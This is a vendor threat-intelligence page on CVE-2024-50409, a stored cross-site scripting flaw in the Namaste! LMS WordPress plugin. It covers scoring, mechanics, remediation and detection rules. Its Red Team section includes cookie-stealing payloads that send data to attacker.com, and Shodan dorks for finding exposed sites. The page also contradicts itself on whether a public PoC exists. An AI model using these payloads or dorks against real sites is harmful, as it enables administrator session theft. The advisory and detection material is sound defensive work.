☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Kibokolabs logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-50409

CVE-2024-50409 Cross-Site Scripting in Kibokolabs
📅 PUBLISHED: 2024-10-29 11:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-50409 is a Stored Cross-Site Scripting (XSS) vulnerability in the Kibokolabs Namaste! LMS WordPress plugin, affecting versions through 2.6.2. This vulnerability allows an authenticated attacker with low privileges to inject malicious scripts into web pages generated by the plugin. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available. As a WordPress plugin vulnerability, it is critical to assess and mitigate within the WordPress ecosystem.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because the plugin is unpatched and widely used in educational environments. Organizations should inventory all instances of the Namaste! LMS plugin and apply virtual patching or disable the plugin until an official fix is released.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – attacker must have a user account with the ability to submit data (e.g., student or instructor role)
  • User Interaction: Required (UI:R) – victim must click or view the malicious content
  • Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component
  • Confidentiality Impact: Low (C:L) – limited data exposure
  • Integrity Impact: Low (I:L) – limited modification of content
  • Availability Impact: Low (A:L) – limited disruption

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS means any user viewing the affected page is at risk.

Deep Dive & Mechanics

The vulnerability is a Stored XSS (CWE-79) in the Namaste! LMS plugin. The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in web pages. An attacker with a low-privileged account (e.g., student) can inject malicious JavaScript into fields such as lesson descriptions, assignment submissions, or forum posts. When an administrator or instructor views the affected content, the script executes in their browser context.

Attack Flow:

  1. Attacker logs in as a student.
  2. Attacker submits a lesson comment or assignment containing a payload like <script>alert('XSS')</script>.
  3. The plugin stores the payload without sanitization.
  4. An administrator views the lesson or assignment page.
  5. The payload executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern. The plugin likely uses functions like echo or print without escaping, or uses the_content() filter without proper sanitization.

Vulnerable Code (Conceptual):

// In a template file
echo "<div class='lesson-description'>" . $lesson_description . "</div>";

Patched Code (Conceptual):

// Properly escape output
echo "<div class='lesson-description'>" . esc_html( $lesson_description ) . "</div>";

The fix would involve using WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post() depending on the context.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress instance with Namaste! LMS <= 2.6.2 installed and activated.
  • A low-privileged user account (e.g., student).

Steps:

  1. Log in as the student user.
  2. Navigate to a page that allows input, such as a lesson comment or assignment submission.
  3. Inject a payload into the input field. Example:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Submit the form.
  5. Wait for an administrator or instructor to view the page.
  6. The payload executes, sending the admin's cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

  • Monitor for unusual input patterns in lesson descriptions, assignments, and forum posts.
  • Look for <script>, <img onerror>, or other HTML event handlers in database entries.
  • Use Web Application Firewall (WAF) rules to block common XSS payloads.

Hunting:

  • Query the WordPress database for stored XSS indicators:
    SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%' OR post_content LIKE '%onerror%';
    
  • Review server logs for requests containing XSS patterns.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections to known malicious domains or IPs from the WordPress server.
    • HTTP requests containing document.cookie or fetch in the query string.
  • Host IOCs:
    • Unexpected JavaScript code in the WordPress database, specifically in wp_posts.post_content or wp_comments.comment_content.
    • Modified user roles or new admin accounts created by the attacker.
  • File IOCs:
    • Suspicious files in /wp-content/uploads/ or /wp-content/plugins/namaste-lms/ containing obfuscated JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_50409_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting Namaste! LMS plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50409"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in Namaste! LMS Plugin
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects potential stored XSS payloads in WordPress database entries
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        - post_content|contains: '<script>'
        - post_content|contains: 'onerror='
        - post_content|contains: 'onload='
        - post_content|contains: 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-50409 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until an official patch is released.
  2. Apply virtual patching using a WAF to block common XSS payloads.
  3. Review and clean the WordPress database for any injected malicious content.

Long-term Fix:

  • The vendor must release a patched version that properly sanitizes user input using WordPress escaping functions.
  • Users should update to the latest version once available.

Workarounds:

  • Restrict user roles to prevent low-privileged users from submitting content.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Namaste! LMS"
http.html:"namaste-lms"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-50409/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.